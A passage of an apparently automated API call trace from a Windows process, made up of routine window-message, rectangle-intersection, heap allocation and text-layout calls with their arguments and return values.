[0115.558] IntersectRect (in: lprcDst=0x1cf040, lprcSrc1=0x1cf040, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cf040) returned 1
[0115.558] IntersectRect (in: lprcDst=0x1cedfc, lprcSrc1=0x1cedfc, lprcSrc2=0x1cedcc | out: lprcDst=0x1cedfc) returned 1
[0115.558] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cedec | out: lprcDst=0x1cf0e0) returned 1
[0115.558] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.558] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0115.558] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cee0c | out: lprcDst=0x1cf0e0) returned 1
[0115.558] IntersectRect (in: lprcDst=0x1cebd0, lprcSrc1=0x1cebd0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cebd0) returned 1
[0115.558] IntersectRect (in: lprcDst=0x1cebd0, lprcSrc1=0x1cebd0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cebd0) returned 1
[0115.559] IntersectRect (in: lprcDst=0x1ce808, lprcSrc1=0x1ce808, lprcSrc2=0x1ce7d8 | out: lprcDst=0x1ce808) returned 1
[0115.559] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce7f8 | out: lprcDst=0x1cf168) returned 1
[0115.559] IntersectRect (in: lprcDst=0x1ce98c, lprcSrc1=0x1ce98c, lprcSrc2=0x1ce95c | out: lprcDst=0x1ce98c) returned 1
[0115.559] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce97c | out: lprcDst=0x1cf0e0) returned 1
[0115.559] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.559] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
[0115.559] IntersectRect (in: lprcDst=0x1ce7c8, lprcSrc1=0x1ce7c8, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce7c8) returned 1
[0115.559] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce99c | out: lprcDst=0x1cf0e0) returned 1
[0115.559] IntersectRect (in: lprcDst=0x1ce760, lprcSrc1=0x1ce760, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce760) returned 1
[0115.559] IntersectRect (in: lprcDst=0x1ce760, lprcSrc1=0x1ce760, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce760) returned 1
[0115.559] IntersectRect (in: lprcDst=0x1ce4ec, lprcSrc1=0x1ce4ec, lprcSrc2=0x1ce3a4 | out: lprcDst=0x1ce4ec) returned 1
[0115.559] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce50c | out: lprcDst=0x1cf0e0) returned 1
[0115.559] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.559] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0115.559] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce52c | out: lprcDst=0x1cf0e0) returned 1
[0115.559] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0115.559] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0115.559] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0115.559] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0115.559] IntersectRect (in: lprcDst=0x1ce07c, lprcSrc1=0x1ce07c, lprcSrc2=0x1cdf34 | out: lprcDst=0x1ce07c) returned 1
[0115.559] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce09c | out: lprcDst=0x1cf0e0) returned 1
[0115.559] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.559] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0115.559] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce0bc | out: lprcDst=0x1cf0e0) returned 1
[0115.559] IntersectRect (in: lprcDst=0x1cde80, lprcSrc1=0x1cde80, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cde80) returned 1
[0115.559] IntersectRect (in: lprcDst=0x1cde80, lprcSrc1=0x1cde80, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cde80) returned 1
[0115.559] IntersectRect (in: lprcDst=0x1cdcc4, lprcSrc1=0x1cdcc4, lprcSrc2=0x1cdb60 | out: lprcDst=0x1cdcc4) returned 1
[0115.559] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.559] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e50
[0115.559] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cdcb4 | out: lprcDst=0x1cf0e0) returned 1
[0115.559] IntersectRect (in: lprcDst=0x1cdb70, lprcSrc1=0x1cdb70, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdb70) returned 1
[0115.559] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cdcd4 | out: lprcDst=0x1cf0e0) returned 1
[0115.560] PostMessageW (hWnd=0x10136, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1
[0115.560] LsSetDoc () returned 0x0
[0115.560] LsCreateLine () returned 0x0
[0115.560] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.560] LsDestroyLine () returned 0x0
[0115.560] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.560] IntersectRect (in: lprcDst=0x1cdf40, lprcSrc1=0x1cdf40, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdf40) returned 1
[0115.560] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0115.560] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0115.560] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0115.560] IntersectRect (in: lprcDst=0x1ce134, lprcSrc1=0x1ce134, lprcSrc2=0x1cdfd0 | out: lprcDst=0x1ce134) returned 1
[0115.560] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.561] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0115.561] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce124 | out: lprcDst=0x1cf0e0) returned 1
[0115.561] IntersectRect (in: lprcDst=0x1cdfe0, lprcSrc1=0x1cdfe0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdfe0) returned 1
[0115.561] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce144 | out: lprcDst=0x1cf0e0) returned 1
[0115.561] LsSetDoc () returned 0x0
[0115.561] LsCreateLine () returned 0x0
[0115.561] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.561] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc520
[0115.561] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4bb328
[0115.561] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.561] LsdnFinishRegular () returned 0x0
[0115.562] LsQueryLinePointPcp () returned 0x0
[0115.562] LsDestroyLine () returned 0x0
[0115.562] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc520 | out: hHeap=0x450000) returned 1
[0115.562] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.562] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.562] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.562] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.562] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.562] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.562] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.562] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb328 | out: hHeap=0x450000) returned 1
[0115.562] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0115.562] IntersectRect (in: lprcDst=0x1ce3b0, lprcSrc1=0x1ce3b0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce3b0) returned 1
[0115.562] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0115.562] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
[0115.562] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0115.562] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.562] PtInRect (lprc=0x1cf27c, pt=0x11cf6) returned 0
[0115.562] LoadCursorA (hInstance=0x0, lpCursorName=0x7f01) returned 0x10005
[0115.562] GetCursor () returned 0x10005
[0115.563] GetCurrentThreadId () returned 0x4e0
[0115.563] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0115.563] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0115.563] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0115.563] GetMessageTime () returned 41621
[0115.563] GetMessagePos () returned 0x1c4031f
[0115.563] GetCapture () returned 0x0
[0115.563] GetCurrentThreadId () returned 0x4e0
[0115.563] GetCurrentThreadId () returned 0x4e0
[0115.563] GetCurrentThreadId () returned 0x4e0
[0115.563] IntersectRect (in: lprcDst=0x1cf0c8, lprcSrc1=0x1cf0c8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cf0c8) returned 1
[0115.563] IntersectRect (in: lprcDst=0x1cee84, lprcSrc1=0x1cee84, lprcSrc2=0x1cee54 | out: lprcDst=0x1cee84) returned 1
[0115.563] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee74 | out: lprcDst=0x1cf168) returned 1
[0115.563] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.563] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0115.563] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee94 | out: lprcDst=0x1cf168) returned 1
[0115.563] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0115.563] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0115.563] IntersectRect (in: lprcDst=0x1ce890, lprcSrc1=0x1ce890, lprcSrc2=0x1ce860 | out: lprcDst=0x1ce890) returned 1
[0115.563] IntersectRect (in: lprcDst=0x1cf1f0, lprcSrc1=0x1cf1f0, lprcSrc2=0x1ce880 | out: lprcDst=0x1cf1f0) returned 1
[0115.563] IntersectRect (in: lprcDst=0x1cea14, lprcSrc1=0x1cea14, lprcSrc2=0x1ce9e4 | out: lprcDst=0x1cea14) returned 1
[0115.563] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea04 | out: lprcDst=0x1cf168) returned 1
[0115.563] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.563] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
[0115.563] IntersectRect (in: lprcDst=0x1ce850, lprcSrc1=0x1ce850, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce850) returned 1
[0115.563] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea24 | out: lprcDst=0x1cf168) returned 1
[0115.563] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0115.564] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0115.564] IntersectRect (in: lprcDst=0x1ce574, lprcSrc1=0x1ce574, lprcSrc2=0x1ce42c | out: lprcDst=0x1ce574) returned 1
[0115.564] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce594 | out: lprcDst=0x1cf168) returned 1
[0115.564] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.564] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0115.564] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce5b4 | out: lprcDst=0x1cf168) returned 1
[0115.564] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0115.564] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0115.564] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0115.564] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0115.564] IntersectRect (in: lprcDst=0x1ce104, lprcSrc1=0x1ce104, lprcSrc2=0x1cdfbc | out: lprcDst=0x1ce104) returned 1
[0115.564] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce124 | out: lprcDst=0x1cf168) returned 1
[0115.564] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.564] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0115.564] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce144 | out: lprcDst=0x1cf168) returned 1
[0115.564] IntersectRect (in: lprcDst=0x1cdf08, lprcSrc1=0x1cdf08, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdf08) returned 1
[0115.564] IntersectRect (in: lprcDst=0x1cdf08, lprcSrc1=0x1cdf08, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdf08) returned 1
[0115.564] IntersectRect (in: lprcDst=0x1cdd4c, lprcSrc1=0x1cdd4c, lprcSrc2=0x1cdbe8 | out: lprcDst=0x1cdd4c) returned 1
[0115.564] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.564] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e50
[0115.564] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cdd3c | out: lprcDst=0x1cf168) returned 1
[0115.564] IntersectRect (in: lprcDst=0x1cdbf8, lprcSrc1=0x1cdbf8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdbf8) returned 1
[0115.564] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cdd5c | out: lprcDst=0x1cf168) returned 1
[0115.564] LsSetDoc () returned 0x0
[0115.564] LsCreateLine () returned 0x0
[0115.564] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.565] LsDestroyLine () returned 0x0
[0115.565] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.565] IntersectRect (in: lprcDst=0x1cdfc8, lprcSrc1=0x1cdfc8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdfc8) returned 1
[0115.565] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0115.565] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0115.565] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0115.565] IntersectRect (in: lprcDst=0x1ce1bc, lprcSrc1=0x1ce1bc, lprcSrc2=0x1ce058 | out: lprcDst=0x1ce1bc) returned 1
[0115.565] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.565] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0115.565] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1ac | out: lprcDst=0x1cf168) returned 1
[0115.565] IntersectRect (in: lprcDst=0x1ce068, lprcSrc1=0x1ce068, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce068) returned 1
[0115.565] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1cc | out: lprcDst=0x1cf168) returned 1
[0115.566] LsSetDoc () returned 0x0
[0115.566] LsCreateLine () returned 0x0
[0115.566] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.566] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc520
[0115.566] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4bb328
[0115.566] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.566] LsdnFinishRegular () returned 0x0
[0115.566] LsQueryLinePointPcp () returned 0x0
[0115.566] LsDestroyLine () returned 0x0
[0115.566] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc520 | out: hHeap=0x450000) returned 1
[0115.567] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.567] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.567] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.567] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.567] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.567] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.567] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.567] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb328 | out: hHeap=0x450000) returned 1
[0115.567] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0115.567] IntersectRect (in: lprcDst=0x1ce438, lprcSrc1=0x1ce438, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce438) returned 1
[0115.567] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0115.567] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
[0115.567] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0115.567] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.567] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f4 | out: lpPoint=0x1cf3f4) returned 1
[0115.567] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f52e8
[0115.567] GetCurrentThreadId () returned 0x4e0
[0115.568] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x200, wParam=0x0, lParam=0x17402e5, plResult=0x1cf4ec | out: plResult=0x1cf4ec) returned 0x1
[0115.568] NtdllDefWindowProc_W () returned 0x0
[0115.568] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f52e8 | out: hHeap=0x450000) returned 1
[0115.568] GetCurrentThreadId () returned 0x4e0
[0115.568] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0115.568] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0115.568] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0115.568] GetCurrentThreadId () returned 0x4e0
[0115.568] GetCurrentThreadId () returned 0x4e0
[0115.568] GetCurrentThreadId () returned 0x4e0
[0115.568] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0115.839] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0115.839] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0115.839] GetCapture () returned 0x0
[0115.839] WindowFromPoint (Point=0x31f) returned 0x1013a
[0115.839] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0115.839] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0115.839] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0115.839] PtInRect (lprc=0x1cf3f0, pt=0x2e5) returned 1
[0115.839] GetCurrentThreadId () returned 0x4e0
[0115.839] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0116.116] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0116.116] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0116.116] GetCapture () returned 0x0
[0116.116] WindowFromPoint (Point=0x31f) returned 0x1013a
[0116.116] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0116.116] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0116.116] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0116.117] PtInRect (lprc=0x1cf3f0, pt=0x2e5) returned 1
[0116.117] GetCurrentThreadId () returned 0x4e0
[0116.117] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0116.417] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0116.417] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0116.417] GetCapture () returned 0x0
[0116.417] WindowFromPoint (Point=0x31f) returned 0x1013a
[0116.417] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0116.417] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0116.417] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0116.417] PtInRect (lprc=0x1cf3f0, pt=0x2e5) returned 1
[0116.417] GetCurrentThreadId () returned 0x4e0
[0116.417] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0116.984] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0116.984] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0116.984] GetCapture () returned 0x0
[0116.989] WindowFromPoint (Point=0x31f) returned 0x1013a
[0116.989] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0116.989] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0116.989] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0116.989] PtInRect (lprc=0x1cf3f0, pt=0x2e5) returned 1
[0116.992] GetCurrentThreadId () returned 0x4e0
[0116.992] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0117.011] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0117.011] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf5d0 | out: lpRect=0x1cf5d0) returned 1
[0117.011] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf5e0 | out: lpPoint=0x1cf5e0) returned 1
[0117.011] PtInRect (lprc=0x1cf5d0, pt=0x2e5) returned 1
[0117.011] GetCurrentThreadId () returned 0x4e0
[0117.011] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0117.011] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf650 | out: lpPoint=0x1cf650) returned 1
[0117.011] GetMessageTime () returned 42806
[0117.011] GetMessagePos () returned 0x1c4031f
[0117.011] GetCapture () returned 0x0
[0117.011] IntersectRect (in: lprcDst=0x1cf040, lprcSrc1=0x1cf040, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cf040) returned 1
[0117.011] IntersectRect (in: lprcDst=0x1cedfc, lprcSrc1=0x1cedfc, lprcSrc2=0x1cedcc | out: lprcDst=0x1cedfc) returned 1
[0117.011] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cedec | out: lprcDst=0x1cf0e0) returned 1
[0117.011] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.011] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0117.011] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cee0c | out: lprcDst=0x1cf0e0) returned 1
[0117.011] IntersectRect (in: lprcDst=0x1cebd0, lprcSrc1=0x1cebd0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cebd0) returned 1
[0117.011] IntersectRect (in: lprcDst=0x1cebd0, lprcSrc1=0x1cebd0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cebd0) returned 1
[0117.011] IntersectRect (in: lprcDst=0x1ce808, lprcSrc1=0x1ce808, lprcSrc2=0x1ce7d8 | out: lprcDst=0x1ce808) returned 1
[0117.011] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce7f8 | out: lprcDst=0x1cf168) returned 1
[0117.011] IntersectRect (in: lprcDst=0x1ce98c, lprcSrc1=0x1ce98c, lprcSrc2=0x1ce95c | out: lprcDst=0x1ce98c) returned 1
[0117.011] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce97c | out: lprcDst=0x1cf0e0) returned 1
[0117.011] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.011] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
